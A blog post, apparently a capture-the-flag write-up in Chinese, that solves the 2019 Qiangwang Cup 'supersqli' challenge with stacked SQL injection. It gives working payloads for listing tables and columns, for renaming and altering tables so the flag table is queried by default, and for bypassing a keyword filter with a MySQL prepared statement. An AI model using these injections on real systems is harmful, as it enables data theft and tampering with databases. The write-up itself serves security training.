supersqli--堆叠注入

supersqli–堆叠注入【强网杯2019】

在这里插入图片描述
查看源代码
在这里插入图片描述

有提到sqlmap
用sqlmap扫一扫试一试
只爆出supersqli
回到题目发现有过滤关键字

在这里插入图片描述

order by 判断只有两个字段

把绕过的方法挨个试了一遍,发现可以堆叠注入,查出两个表名,但是不能select,关键字过滤了

也可以是1’;show tables;#
在这里插入图片描述

把两个表里的列爆出
先来第一个表1919810931114514
http://111.198.29.45:39533/?inject=2’;show columns from 1919810931114514;–+
(字符串为表名进行操作时要加反引号)
在这里插入图片描述

在一串数字的表里见到了flag列,flag可能在里面。

http://111.198.29.45:39533/?inject=2’;show columns from words;–+
查询words表
在这里插入图片描述

百度了一下
在words表里发现结构id与查询的出的数据类型相同,一个数字,一个字符串,可以看出默认查询的就是words表,inject值应该赋给了id。
思路:
页面默认查的是words表,将1919810931114514的表名和words交换
发现并没有过滤rename和alter等,所以我们可改变表的结构。
构造语句
1’;RENAME TABLE words TO words1;RENAME TABLE 1919810931114514 TO words;ALTER TABLE words CHANGE flag id VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#

先把words表名改为其他名,再吧1919810931114514表名改为words,但是其中还缺少id列,因此可以添加一个id列或者吧flag改为id,这样这个表就成为了默认查询表

CHARACTER SET utf8:数据库字符集。设置数据库的默认编码为utf8
COLLATE utf8_general_ci:数据库校对规则。ci是case insensitive的缩写,意思是大小写不敏感;相对的是cs,即case sensitive,大小写敏感;还有一种是utf8_bin,是将字符串中的每一个字符用二进制数据存储,区分大小写。

1’ or ‘1’='1
查询flag
在这里插入图片描述

flag{c168d583ed0d4d7196967b28cbd0b5e9}

https://blog.csdn.net/cherish_2012/article/details/38347507 rename函数
https://blog.csdn.net/qq_38967578/article/details/80875939 SQL alter操作

还发现一种方法就是用mysql预处理
1’;use supersqli;set @sql=concat(‘s’,'elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;–+
用concat连接绕过了关键字的检查
在这里插入图片描述

flag{c168d583ed0d4d7196967b28cbd0b5e9}
得到flag

https://blog.csdn.net/qq_42030417/article/details/80372800 理解Mysql prepare预处理语句

  • 8
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值